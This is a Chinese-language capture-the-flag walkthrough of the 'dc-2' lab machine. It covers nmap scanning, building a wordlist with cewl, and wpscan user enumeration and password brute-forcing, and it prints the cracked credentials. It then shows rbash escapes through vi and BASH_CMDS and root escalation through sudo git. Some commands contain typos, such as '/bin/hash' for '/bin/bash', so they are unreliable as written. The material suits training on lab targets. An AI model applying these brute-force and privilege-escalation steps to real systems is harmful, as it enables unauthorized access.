信息收集
arp-scan -l
得到192.168.160.131
之前都是用nmap -A 来扫192.168.160.131
但是这里只能扫到80端口
于是换个专门扫端口的命令
nmap -sV -p- 192.168.160.131
-sV
参数使 Nmap 尝试确定每个开放端口上运行的具体服务及其版本
-p-
参数告诉 Nmap 在扫描时不要限制到某些常见的端口范围,而是扫描所有可能的端口,从1到65535。这种全端口扫描可以帮助你发现目标主机上隐藏的服务或使用非标准端口的服务。
多扫到一个用来连ssh的7744
访问一下80看看
会显示
这是未遵循重定向的问题
其实刚用nmap -A扫的时候就提示我们了
所以要解决这个问题,需要修改hosts文件
在linux上比较简单
vim /etc/hosts
输入i进入编辑模式
在里面加入192.168.160.131 dc-2
按Esc进入命令模式
输入:wq保存并退出
再cat看一下etc/hosts
已经有了
在访问一下
已经有了
在windows下
一般hosts都在C:\Windows\System32\drivers\etc\hosts
找到该文件
右键打开属性,把只读前的√ 删了,即关闭只读模式
接下来以管理员身份运行记事本
在记事本打开hosts文件
加入192.168.160.131 dc-2
保存即可
此时再访问http://dc-2/已经可以正常访问了
wordpress账号密码爆破
而且还可以看到框架是wordpress
可以找到flag1
并且提示我们使用cewl
cewl是一个用于生成自定义字典的命令行工具,它从指定的目标网页或文本文件中提取出可能的有效单词
于是我们利用这个工具给该网站生成一个密码字典
cewl http://dc-2/ -w dict.txt
duct.txt是我们自己给密码字典取的文件名
密码字典有了
还需要用户,生成用户使用wpscan工具
这是一款专门针对Wordpress网站的漏洞扫描工具,它还可以获取站点用户名。
wpscan --url http://dc-2/ -e u
-e u: 这是 WPScan
的选项之一,用于指定要枚举的内容。在这里,u
表示枚举用户。
找到三个用户
admin,jerry,tom
然后是爆破出对应的账号密码
先把三个用户放到user.txt里,方便爆破
继续使用wpscan工具
wpscan --url http://dc-2/ -U user.txt -P dict.txt
爆破出了
jerry / adipiscing
tom / parturient
然后拿他们登录看看
突然想起还没找到登录页面
dirsearch扫一下
在/wp-login.php里找到了登录页面
两个账号都可以登录
在jerry里可以找到flag2
提示我们用另外的方法
这里确实找不到什么好利用的了
连ssh,注意这里要用我们刚刚manp扫出来的7744端口,不是默认的22端口
ssh jerry@192.168.160.131 -p 7744
ssh tom@192.168.160.131 -p 7744
jerry连不上
但tom可以
连上后简单测试下
发现现在是-rbash
很多命令都用不了
可以在ls下面看到flag3.txt
但是cat用不了
利用compgen -c查看一下可以用的命令
可以看到vi可以用
利用vi看一下flag3.txt
vi flag3.txt
里面提到了su
所以su试一下
su jerry
不成功,因为我们现在是-rbash
rbash逃逸
-rbash介绍
rbash是Restricted bash缩写,即受限制的bash。 管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。其实就是比一般的shell垃圾一点,有很多操作执行不了
所以我们要rbash逃逸
这里有两种方法
方法一:
在一些编辑器中可以设置shell变量然后执行,如vim中
输入命令vi进入编辑界面
把下面这两条写入
:set shell=/bin/bash
:shell
保存退出后设置环境变量
export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/
这样就逃逸完了
rbash逃逸方法二:
利用bash_cmds自定义一个shell
BASH_CMDS[r]=/bin/hash
执行r的时候就相当于在执行shell
然后跟刚才一样设置环境变量
export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/
这样子也可以成功
此时可以su到jerry了
找一下flag
find / -name '*flag*'
找到flag4.txt
提示还有一个真flag
而且要提权了
git提权
看看当前哪些能使用root权限
sudo -l
看到了/usr/bin/git
那就是git提权了
比较简单
方法一
输入
sudo git help config
然后输入
!/bin/hash
即可成功提到root
方法二
输入
sudo git -p help
然后输入
!/bin/hash
最后拿flag即可